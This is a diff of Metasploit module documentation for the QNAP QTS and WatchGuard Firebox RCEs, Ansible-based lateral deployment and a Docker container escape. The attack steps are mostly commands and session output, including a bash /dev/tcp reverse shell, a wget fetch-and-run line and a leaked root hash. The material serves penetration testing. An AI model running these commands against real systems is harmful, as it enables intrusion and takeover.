user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ ls /dev/random
|
||||
/dev/random
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ ls /dev/urandom
|
||||
/dev/urandom
|
||||
```
|
||||
|
||||
Create files the files:
|
||||
```
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ touch dev/random
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ touch dev/urandom
|
||||
```
|
||||
|
||||
Mount the binaries:
|
||||
```
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo mount --bind /dev/random dev/random
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo mount --bind /dev/urandom dev/urandom
|
||||
```
|
||||
|
||||
Drop to a shell via QEMU:
|
||||
```
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo chroot . /bin/sh
|
||||
```
|
||||
|
||||
Enable the component quick.cgi:
|
||||
```
|
||||
sh-3.2# chmod +x /home/httpd/cgi-bin/quick/quick.cgi
|
||||
```
|
||||
|
||||
Fix a linker issue with QEMU:
|
||||
```
|
||||
sh-3.2# rm /lib/libnl-3.so.200
|
||||
sh-3.2# ln -s /lib/libnl-3.so.200.24.0 /lib/libnl-3.so.200
|
||||
```
|
||||
|
||||
Create this folder as it will be present in a NAS device containing a hard drive:
|
||||
```
|
||||
sh-3.2# mkdir /mnt/HDA_ROOT
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use linux/http/qnap_qts_rce_cve_2023_47218`
|
||||
1. Set the following options: `RHOST`, `RPORT`, `LHOST` and `FETCH_SRVPORT` if 8080 is already in use.
|
||||
1. Run the module
|
||||
1. Receive a Meterpreter session as the `admin` user.
|
||||
|
||||
## Scenarios
|
||||
### TS-X64_20230926-5.1.2.2533 firmware emulated via qemu using the steps above.
|
||||
```
|
||||
msf6 > use linux/http/qnap_qts_rce_cve_2023_47218
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > set rport 8080
|
||||
rport => 8080
|
||||
msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > set rhost 172.16.199.130
|
||||
rhost => 172.16.199.130
|
||||
msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > set lhost 172.16.199.158
|
||||
lhost => 172.16.199.158
|
||||
msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > set fetch_srvport 8085
|
||||
fetch_srvport => 8085
|
||||
msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > options
|
||||
|
||||
Module options (exploit/linux/http/qnap_qts_rce_cve_2023_47218):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 172.16.199.130 yes The target host(s), see https://docs.metasploit.com/docs/using-metasp
|
||||
loit/basics/using-metasploit.html
|
||||
RPORT 8080 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP
|
||||
, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME mvcWDkBxSOK no Name to use on remote system when storing payload; cannot
|
||||
contain spaces.
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8085 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR /mnt/update yes Remote writable dir to store payload; cannot contain space
|
||||
s.
|
||||
LHOST 172.16.199.158 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Default
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.199.158:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated.
|
||||
[*] Sending stage (3045380 bytes) to 172.16.199.130
|
||||
[+] Deleted /mnt/update/RjzvVkLp
|
||||
[+] Deleted /mnt/update/"$($(echo -n YmFzaCAvbW50L3VwZGF0ZS9Sanp2VmtMcA==|base64 -d))"
|
||||
[*] Meterpreter session 1 opened (172.16.199.158:4444 -> 172.16.199.130:40004) at 2024-02-15 12:20:04 -0900
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: admin
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.16.199.130
|
||||
OS : (Linux 6.2.0-35-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
+168
@@ -0,0 +1,168 @@
|
||||
## Vulnerable Application
|
||||
This module exploits a buffer overflow at the administration interface (8080 or 4117) of WatchGuard Firebox and XTM appliances
|
||||
which is built from a cherrypy python backend sending XML-RPC requests to a C binary called `wgagent` using pre-authentication
|
||||
endpoint `/agent/login`.
|
||||
This vulnerability impacts Fireware OS before 12.7.2_U2, 12.x before 12.1.3_U8, and 12.2.x through 12.5.x before 12.5.9_U2.
|
||||
Successful exploitation results in remote code execution as user `nobody`.
|
||||
|
||||
## Installation
|
||||
### Installation steps to install Watchguard Firebox virtual appliance
|
||||
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
|
||||
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
|
||||
* Download the Watchguard Firebox `12.7.2` ova instance.
|
||||
* You can download it from [here](https://cdn.watchguard.com/SoftwareCenter/Files/XTM/12_7_2/FireboxV_12_7_2.ova).
|
||||
* Import the ova instance in your virtualization engine.
|
||||
* See instructions for VirtualBox [here](https://www.simplified.guide/virtualbox/vm-import).
|
||||
* Configure the network interfaces (first interface is WAN and second interface is internal).
|
||||
* You can either choose bridged or NAT depending on your preference for the test environment.
|
||||
* Boot up the Firebox VM.
|
||||
* You should be able to access the Watchguard Firebox either thru the console, `ssh` on port `4117`
|
||||
* or via the `webui` via `https://your_firebox_wan_ip:8080`.
|
||||
* The default account is `admin` and password is `readwrite`.
|
||||
|
||||
You are now ready to test the module.
|
||||
|
||||
## Verification Steps
|
||||
- [x] Start `msfconsole`
|
||||
- [x] `use exploit/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318`
|
||||
- [x] `set rhosts <ip-target>`
|
||||
- [x] `set lhost <ip-attacker>`
|
||||
- [x] `set target <0=Automatic>`
|
||||
- [x] `exploit`
|
||||
|
||||
you should get a `interactive python shell` .
|
||||
|
||||
```shell
|
||||
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > options
|
||||
|
||||
Module options (exploit/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
|
||||
using-metasploit.html
|
||||
RPORT 8080 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes WatchGuard Firebox base url
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse_python):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CreateSession true no Create a new session for every successful login
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
SHELL /usr/bin/python yes The system shell to use
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic (Reverse Python Interactive Shell)
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
```
|
||||
|
||||
## Options
|
||||
Please set the `SHELL` option to `/usr/bin/python` becuase this is the only shell available on the appliance.
|
||||
|
||||
## Scenarios
|
||||
### Watchguard Firebox Automatic - cmd/unix/reverse_python
|
||||
```shell
|
||||
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > set rhosts 192.168.201.24
|
||||
rhosts => 192.168.201.24
|
||||
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > set lhost 192.168.201.8
|
||||
lhost => 192.168.201.8
|
||||
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.24:8080 can be exploited.
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] 192.168.201.24:8080 - Attempting to exploit...
|
||||
[*] 192.168.201.24:8080 - Sending payload...
|
||||
[*] Command shell session 9 opened (192.168.201.8:4444 -> 192.168.201.24:40354) at 2024-03-03 19:50:17 +0000
|
||||
|
||||
|
||||
Shell Banner:
|
||||
Python 2.7.14 (default, Oct 16 2019, 15:38:29)
|
||||
[GCC 6.5.0] on linux2
|
||||
-----
|
||||
|
||||
>>> import os
|
||||
>>> import subprocess
|
||||
>>> os.listdir("./")
|
||||
['debug', 'platform', 'log', 'wgapi', 'hosts', 'mdev.seq', 'admd.rsync', 'portald', 'portald_data', 'eth0mac', 'rs_sn',
|
||||
'.libtdts_ctrl.lck', 'fw', 'mwan.input', 'wgmsg', 'nwd_dfltmac', 'fqdn_dns_server_list', 'lm.conf', 'sw.conf', 'wcfqdn_label',
|
||||
'ifmd.cfg.lock', 'wgif_dhcp_eth0.pid', 'wgif_dhcp_eth0_uds', 'wgif_eth1.cfg.lock', 'wgif_eth1.cfg', 'rootca', 'haopevent.log',
|
||||
'keeper_init_uds', 'sslvpn', 'empty', 'certs.rsync', 'certs.unpack', 'csync', 'ldapsCA', 'iked.semid', 'system_hash.txt',
|
||||
'iked.params', 'iked.pid', 'cdiag', 'lockout_users.xml', 'dxcpd', 'wgredir.txt', 'dimension', 'affinityd.err', 'wgif_eth0.cfg.lock',
|
||||
'wgif_eth0.cfg', 'dhcp6d.conf', '6OGD.py', 'ifmd.cfg', 'dhcpd.conf', 'dnsmasq-internal.conf', 'radvd.conf', 'yDnm.py', 'HPM4.py']
|
||||
>>>
|
||||
>>> os.getuid()
|
||||
99
|
||||
>>> os.getgid()
|
||||
96
|
||||
>>> print(open("/etc/passwd").read())
|
||||
root:!$6$XlAENt8.$3RgXuDXBhgsf0FqJ0hrzmrh6qAhvMlCkU6Z976KIDI27gxIZOI0f27lkyJwubRxW5VaO4i9olIybS0Z2R9Ihw1:0:0:Administrator:/root:/bin/ash
|
||||
bin:x:1:1:bin:/bin:
|
||||
system:x:2:96:WG System daemons:/:
|
||||
nobody:x:99:99:Nobody:/:
|
||||
wgntp:x:98:98:OpenNTP daemon:/var/run/ntpd:
|
||||
openvpn:x:97:97:OpenVPN daemon:/:
|
||||
www:x:96:95:WebUI:/:
|
||||
cli:x:95:95:CLI:/:
|
||||
cfm:x:94:94:CFM:/var/cfm_sandbox:
|
||||
agent:x:93:96:WG Agent:/:
|
||||
scand:x:91:94:Scanning Daemon:/var/run/scand:
|
||||
spamd:x:90:94:Spam Daemon:/var/cfm_sandbox:
|
||||
sshd:x:89:89:sshd privilege separation:/var/empty:
|
||||
quagga:x:88:88:Quagga Dynamic Routing:/var/run/quagga:
|
||||
wgcha:x:92:96:WG Call Home Agent:/var/run/wgcha:
|
||||
netdbg:x:87:87:Diagnostic Utilities:/tmp/netdbg:
|
||||
cwagent:x:100:100:ConnectWise Agent:/var/empty:
|
||||
dimension:x:101:101:Dimension Service:/var/run/dimension:
|
||||
tss:x:102:102:trousers daemon:/:
|
||||
atagent:x:103:103:Autotask Agent:/var/empty:
|
||||
psad:x:104:104:PSA Daemon:/var/empty:
|
||||
guac:x:105:105:Guacamole Daemons:/var/run/guac:
|
||||
portald:x:106:105:Portald:/var/run/portald:
|
||||
admin:x:109:109:Admin Cli Access:/etc/wg/admin-home:/usr/bin/cli
|
||||
wgadmin:x:109:109:Admin Cli Access:/etc/wg/admin-home:/usr/bin/cli
|
||||
dnswatchd:x:110:96:DNSWatch Service Daemon:/var/empty:
|
||||
tpagent:x:111:96:Tigerpaw Agent:/var/empty:
|
||||
|
||||
>>> print(open("/etc/group").read())
|
||||
admin:x:0:0
|
||||
bin:x:1:admin,bin
|
||||
nobody:x:99:
|
||||
wgntp:x:98:
|
||||
openvpn:x:97:
|
||||
wg:x:96:
|
||||
ui:x:95:
|
||||
proxy:x:94:
|
||||
sshd:x:89:
|
||||
quagga:x:88:
|
||||
netdbg:x:87:
|
||||
cwagent:x:100:
|
||||
dimension:x:101:
|
||||
tss:x:102:
|
||||
atagent:x:103:
|
||||
psad:x:104:
|
||||
ctlvpn:x:105:
|
||||
dnswatchd:x:107:
|
||||
|
||||
>>> os.uname()
|
||||
('Linux', 'FireboxV', '4.14.83', '#1 SMP Mon Sep 27 17:48:07 PDT 2021', 'x86_64')
|
||||
>>>
|
||||
```
|
||||
## Limitations
|
||||
There is no `shell` installed and there is only a `busybox` version available with a very limited unix command set.
|
||||
The only option is to use the interactive python shell (`/usr/bin/python -i`) as payload to get access to the target.
|
||||
Check out `https://docs.python.org/2.7/library/os.html` to execute commands on the target.
|
||||
Another limitation is the crash of `wgagent` service that will show up in the diagnostic log and will break the user login via the `webui`.
|
||||
|
||||
@@ -0,0 +1,189 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This exploit module creates an ansible module for deployment to nodes in the network.
|
||||
It creates a new yaml playbook which copies our payload, chmods it, then runs it on all
|
||||
targets which have been selected (default all).
|
||||
|
||||
### Docker-compose Install
|
||||
|
||||
Use the ansible lab files located [here](https://github.com/abdennour/ansible-lab-environment-in-containers).
|
||||
|
||||
Before bringing up the `docker-compose` instance, you'll want to generate an SSH key: `ssh-keygen -t rsa -N "" -f secrets/id_rsa`
|
||||
|
||||
Of note, only 1 of the 3 alpine hosts will be successful due to the port conflict. This is fine though.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Get an initial shell on the box
|
||||
1. Do: `use exploit/linux/local/ansible_node_deployer`
|
||||
1. Do: `set session [#]`
|
||||
1. Do: `run`
|
||||
1. You should get sessions on all the targeted hosts
|
||||
|
||||
## Options
|
||||
|
||||
### ANSIBLEPLAYBOOK
|
||||
|
||||
Location of ansible executable if not in a standard location. This is added to a list of default locations
|
||||
which includes `/usr/local/bin/ansible`. Defaults to ``
|
||||
|
||||
### WritableDir
|
||||
|
||||
A directory on the compromised host we can write our payload to. Defaults to `/tmp`
|
||||
|
||||
### TargetWritableDir
|
||||
|
||||
A directory on the target hosts we can write our payload to. Defaults to `/tmp`
|
||||
|
||||
### CALCULATE
|
||||
|
||||
This will calculate how many hosts may be exploitable by using Ansible's ping command.
|
||||
|
||||
### HOSTS
|
||||
|
||||
Which Ansible host (groups) to target. Defaults to `all`
|
||||
|
||||
### ListenerTimeout
|
||||
|
||||
How many seconds to wait after executing the payload for hosts to call back.
|
||||
If set to `0`, wait forever. Defaults to `60`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Docker compose as mentioned above
|
||||
|
||||
Get initial access to the system
|
||||
|
||||
```
|
||||
resource (ansible_deploy.rb)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
resource (ansible_deploy.rb)> set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (ansible_deploy.rb)> set srvport 8181
|
||||
srvport => 8181
|
||||
resource (ansible_deploy.rb)> set target 7
|
||||
target => 7
|
||||
resource (ansible_deploy.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
resource (ansible_deploy.rb)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Using URL: http://1.1.1.1:8181/2BQIMgeywC6gGt9
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO OHZQobFE --no-check-certificate http://1.1.1.1:8181/2BQIMgeywC6gGt9; chmod +x OHZQobFE; ./OHZQobFE& disown
|
||||
[*] 172.22.0.7 web_delivery - Delivering Payload (250 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 172.22.0.7
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.22.0.7:49612) at 2023-12-15 20:12:27 -0500
|
||||
```
|
||||
|
||||
```
|
||||
resource (ansible_deploy.rb)> use exploit/linux/local/ansible_node_deployer
|
||||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
|
||||
resource (ansible_deploy.rb)> set session 1
|
||||
session => 1
|
||||
resource (ansible_deploy.rb)> set verbose true
|
||||
verbose => true
|
||||
resource (ansible_deploy.rb)> set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (ansible_deploy.rb)> set lport 9999
|
||||
lport => 9999
|
||||
[*] Starting persistent handler(s)...
|
||||
[msf](Jobs:1 Agents:0) exploit(linux/local/ansible_node_deployer) >
|
||||
[msf](Jobs:1 Agents:1) exploit(linux/local/ansible_node_deployer) > set TargetWritableDir /etc/
|
||||
TargetWritableDir => /etc/
|
||||
[msf](Jobs:1 Agents:1) exploit(linux/local/ansible_node_deployer) > exploit
|
||||
[*] Exploit running as background job 1.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[msf](Jobs:2 Agents:1) exploit(linux/local/ansible_node_deployer) >
|
||||
[*] Started reverse TCP handler on 1.1.1.1:9999
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] /tmp is writable, and ansible executable found
|
||||
[+] The target is vulnerable.
|
||||
[+] Stored pings to: /root/.msf4/loot/20231215201340_default_172.22.0.7_ansible.ping_422232.txt
|
||||
[+] Ansible Pings
|
||||
=============
|
||||
|
||||
Host Status Ping Changed
|
||||
---- ------ ---- -------
|
||||
alpine-example-com SUCCESS pong false
|
||||
alpinesystemd-example-com SUCCESS pong false
|
||||
centos7-example-com SUCCESS pong false
|
||||
rhel8-example-com SUCCESS pong false
|
||||
|
||||
[+] 4 ansible hosts were pingable, and will attempt to execute payload. Waiting 10 seconds incase this isn't optimal.
|
||||
[*] Creating yaml job to execute
|
||||
[*] Writing payload
|
||||
[*] Writing '/tmp/O514h2N' (250 bytes) ...
|
||||
[*] Executing ansible job
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 172.22.0.6
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 172.22.0.4
|
||||
[+] Stored run logs to: /root/.msf4/loot/20231215201411_default_172.22.0.7_ansible.playbook_967421.txt
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 172.22.0.5
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 172.22.0.2
|
||||
[*] Meterpreter session 2 opened (1.1.1.1:9999 -> 172.22.0.6:60850) at 2023-12-15 20:14:36 -0500
|
||||
[*] Meterpreter session 5 opened (1.1.1.1:9999 -> 172.22.0.2:34980) at 2023-12-15 20:14:36 -0500
|
||||
[*] Meterpreter session 3 opened (1.1.1.1:9999 -> 172.22.0.4:51082) at 2023-12-15 20:14:46 -0500
|
||||
[*] Meterpreter session 4 opened (1.1.1.1:9999 -> 172.22.0.5:41770) at 2023-12-15 20:14:56 -0500
|
||||
|
||||
[msf](Jobs:2 Agents:5) exploit(linux/local/ansible_node_deployer) > sessions -l
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 meterpreter x64/linux root @ 172.22.0.7 1.1.1.1:4444 -> 172.22.0.7:49612 (172.22.0.7)
|
||||
2 meterpreter x64/linux root @ 172.22.0.6 1.1.1.1:9999 -> 172.22.0.6:60850 (172.22.0.6)
|
||||
3 meterpreter x64/linux root @ 172.22.0.4 1.1.1.1:9999 -> 172.22.0.4:51082 (172.22.0.4)
|
||||
4 meterpreter x64/linux root @ 172.22.0.5 1.1.1.1:9999 -> 172.22.0.5:41770 (172.22.0.5)
|
||||
5 meterpreter x64/linux root @ 172.22.0.2 1.1.1.1:9999 -> 172.22.0.2:34980 (172.22.0.7)
|
||||
```
|
||||
|
||||
```
|
||||
└─$ cat ~/.msf4/loot/20231215201411_default_172.22.0.7_ansible.playbook_967421.txt
|
||||
|
||||
PLAY [Deliver Meterpreter] *****************************************************
|
||||
|
||||
TASK [Gathering Facts] *********************************************************
|
||||
[DEPRECATION WARNING]: Distribution redhat 8.2 on host rhel8-example-com should
|
||||
use /usr/libexec/platform-python, but is using /usr/bin/python for backward
|
||||
compatibility with prior Ansible releases. A future Ansible release will
|
||||
default to using the discovered platform python for this host. See https://docs
|
||||
.ansible.com/ansible/2.9/reference_appendices/interpreter_discovery.html for
|
||||
more information. This feature will be removed in version 2.12. Deprecation
|
||||
warnings can be disabled by setting deprecation_warnings=False in ansible.cfg.
|
||||
ok: [rhel8-example-com]
|
||||
ok: [centos7-example-com]
|
||||
[WARNING]: Platform linux on host alpine-example-com is using the discovered
|
||||
Python interpreter at /usr/bin/python, but future installation of another
|
||||
Python interpreter could change this. See https://docs.ansible.com/ansible/2.9/
|
||||
reference_appendices/interpreter_discovery.html for more information.
|
||||
ok: [alpine-example-com]
|
||||
[WARNING]: Platform linux on host alpinesystemd-example-com is using the
|
||||
discovered Python interpreter at /usr/bin/python, but future installation of
|
||||
another Python interpreter could change this. See https://docs.ansible.com/ansi
|
||||
ble/2.9/reference_appendices/interpreter_discovery.html for more information.
|
||||
ok: [alpinesystemd-example-com]
|
||||
|
||||
TASK [ansible.builtin.copy] ****************************************************
|
||||
changed: [alpine-example-com]
|
||||
changed: [centos7-example-com]
|
||||
changed: [rhel8-example-com]
|
||||
changed: [alpinesystemd-example-com]
|
||||
|
||||
TASK [ansible.builtin.file] ****************************************************
|
||||
changed: [alpine-example-com]
|
||||
changed: [rhel8-example-com]
|
||||
changed: [centos7-example-com]
|
||||
changed: [alpinesystemd-example-com]
|
||||
|
||||
TASK [command] *****************************************************************
|
||||
```
|
||||
+110
@@ -0,0 +1,110 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module performs a container escape onto the host as the daemon user. It
|
||||
takes advantage of the SYS_MODULE capability. If that exists and the linux
|
||||
headers are available to compile on the target, then we can escape onto the host.
|
||||
|
||||
### Creating A Testing Environment
|
||||
|
||||
- Get a VM that you want to test on (or your own machine)
|
||||
- Install Docker
|
||||
- Run a listener (can be anything but this example will make use of the msfconsole `cmd/unix/reverse_bash` payload)
|
||||
```msf
|
||||
msf6 > use payload/cmd/unix/reverse_bash
|
||||
msf6 payload(cmd/unix/reverse_bash) > set lhost vboxnet0
|
||||
lhost => 192.168.56.1
|
||||
msf6 payload(cmd/unix/reverse_bash) > generate -f raw
|
||||
bash -c '0<&118-;exec 118<>/dev/tcp/192.168.56.1/4444;sh <&118 >&118 2>&118'
|
||||
msf6 payload(cmd/unix/reverse_bash) > exploit -z
|
||||
[*] Payload Handler Started as Job 0
|
||||
msf6 payload(cmd/unix/reverse_bash) >
|
||||
[*] [2023.11.07-21:28:57] Started reverse TCP handler on 192.168.56.1:4444
|
||||
```
|
||||
- Create a privileged container (forwarding port 4444 in this example in order
|
||||
to use a bind shell from the host. Container must be the same OS as host)
|
||||
```bash
|
||||
docker run --rm -it --cap-add SYS_MODULE ubuntu bash -c '0<&118-;exec 118<>/dev/tcp/192.168.56.1/4444;sh <&118 >&118 2>&118'
|
||||
```
|
||||
- Inside your session, install the required packages to run. Package manager will differ to OS, for debian as an example
|
||||
```bash
|
||||
apt update && apt install -y gcc make kmod linux-headers-$(uname -r)
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Get a session
|
||||
3. Install required packages into session (line 30)
|
||||
4. Run `use exploit/linux/local/docker_privileged_container_kernel_escape`
|
||||
5. Run `set SESSION [session]`
|
||||
6. Run `check`
|
||||
7. Run `set PAYLOAD [payload]`
|
||||
8. Run `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
### KernelModuleName
|
||||
|
||||
The name that the kernel module will be called in the system. The default if no
|
||||
name is set is "{rand(8)}"
|
||||
|
||||
### WritableContainerDir
|
||||
|
||||
A directory where we can write files inside the container (default is `/tmp/.{rand(4)}`).
|
||||
This is needed to drop the payload into the container.
|
||||
|
||||
### ReloadKernelModule
|
||||
|
||||
Rebuilds and reloads kernel module if its already loaded in case of repeat runs.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Container Escape from debian linux with reverse bash
|
||||
|
||||
```msf
|
||||
msf6 > sessions -i 1 -c "apt update && apt install -y gcc make kmod linux-headers-$(uname -r)"
|
||||
[*] Running 'apt update && apt install -y gcc make kmod linux-headers-$(uname -r)' on shell session 1 (192.168.56.126)
|
||||
msf6 > use exploit/linux/local/docker_privileged_container_kernel_escape
|
||||
[*] Using configured payload cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > set session 1
|
||||
session => 1
|
||||
msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > check
|
||||
[*] The target appears to be vulnerable. Inside Docker container and target appears vulnerable
|
||||
msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > exploit -z
|
||||
|
||||
[*] [2023.11.07-21:42:40] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] [2023.11.07-21:42:42] Creating files...
|
||||
[*] [2023.11.07-21:42:43] Compiling the kernel module...
|
||||
[+] [2023.11.07-21:42:43] Kernel module compiled successfully
|
||||
[*] [2023.11.07-21:42:43] Loading kernel module...
|
||||
[*] Command shell session 3 opened (192.168.56.1:4444 -> 192.168.56.126:60974) at 2023-11-07 21:42:50 -0500
|
||||
[*] This is CredCollect, I have the conn!
|
||||
```
|
||||
|
||||
### Container Escape from arch linux with meterpreter
|
||||
|
||||
```msf
|
||||
msf6 > sessions -i 2 -c "pacman -Syy --noconfirm gcc glibc make linux-headers"
|
||||
[*] Running 'pacman -Syy --noconfirm gcc glibc make linux-headers' on shell session 2 (192.168.56.106)
|
||||
msf6 > use exploit/linux/local/docker_privileged_container_kernel_escape
|
||||
[*] Using configured payload cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > set session 2
|
||||
session => 2
|
||||
msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > set lhost vboxnet0
|
||||
lhost => vboxnet0
|
||||
msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > check
|
||||
[*] The target appears to be vulnerable. Inside Docker container and target appears vulnerable
|
||||
msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > exploit -z
|
||||
|
||||
[*] [2023.11.07-21:48:40] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] [2023.11.07-21:48:41] Creating files...
|
||||
[*] [2023.11.07-21:48:43] Compiling the kernel module...
|
||||
[+] [2023.11.07-21:48:44] Kernel module compiled successfully
|
||||
[*] [2023.11.07-21:48:44] Loading kernel module...
|
||||
[*] [2023.11.07-21:48:44] Sending stage (3045380 bytes) to 192.168.56.106
|
||||
[*] Meterpreter session 4 opened (192.168.56.1:4444 -> 192.168.56.106:50402) at 2023-11-07 21:48:45 -0500
|
||||
[*] This is CredCollect, I have the conn!
|
||||
[*] Session 4 created in the background.
|
||||
```
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user